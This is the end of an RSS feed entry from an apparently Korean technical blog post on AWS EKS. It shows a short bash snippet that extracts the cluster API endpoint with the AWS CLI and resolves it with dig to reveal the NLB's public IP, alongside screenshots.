&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.38.09 PM.png&quot; data-origin-width=&quot;2200&quot; data-origin-height=&quot;1398&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXHfBN/btsFHoFJLnt/e3IbPPkwXm4TKfaQKIC9K0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXHfBN/btsFHoFJLnt/e3IbPPkwXm4TKfaQKIC9K0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXHfBN/btsFHoFJLnt/e3IbPPkwXm4TKfaQKIC9K0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXHfBN%2FbtsFHoFJLnt%2Fe3IbPPkwXm4TKfaQKIC9K0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2200&quot; height=&quot;1398&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.38.09 PM.png&quot; data-origin-width=&quot;2200&quot; data-origin-height=&quot;1398&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dig 조회를 통해 출력된 IP는 kubelet을 통해 실행된 명령은 퍼블릭 IP로 전달되어 NLB의 공인 IP를 질의한 결과입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1709977306616&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;## dig 조회 : 해당 IP 소유 리소스는 어떤 것 일까요?
APIDNS=$(aws eks describe-cluster --name $CLUSTER_NAME | jq -r .cluster.endpoint | cut -d '/' -f 3)
dig +short $APIDNS&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.40.55 PM.png&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b96MIY/btsFGngfkck/fWjXMsivKOA8qJ05UM3QQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b96MIY/btsFGngfkck/fWjXMsivKOA8qJ05UM3QQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b96MIY/btsFGngfkck/fWjXMsivKOA8qJ05UM3QQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb96MIY%2FbtsFGngfkck%2FfWjXMsivKOA8qJ05UM3QQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;938&quot; height=&quot;110&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.40.55 PM.png&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled1111.png&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;468&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4b9dU/btsFGnm0BBc/kqittVJV8VHcJhfMLn3KwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4b9dU/btsFGnm0BBc/kqittVJV8VHcJhfMLn3KwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4b9dU/btsFGnm0BBc/kqittVJV8VHcJhfMLn3KwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4b9dU%2FbtsFGnm0BBc%2FkqittVJV8VHcJhfMLn3KwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;948&quot; height=&quot;468&quot; data-filename=&quot;Untitled1111.png&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;468&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/1</guid>
      <comments>https://imxsuu.tistory.com/1#entry1comment</comments>
      <pubDate>Sat, 9 Mar 2024 18:00:17 +0900</pubDate>
    </item>
  </channel>
</rss>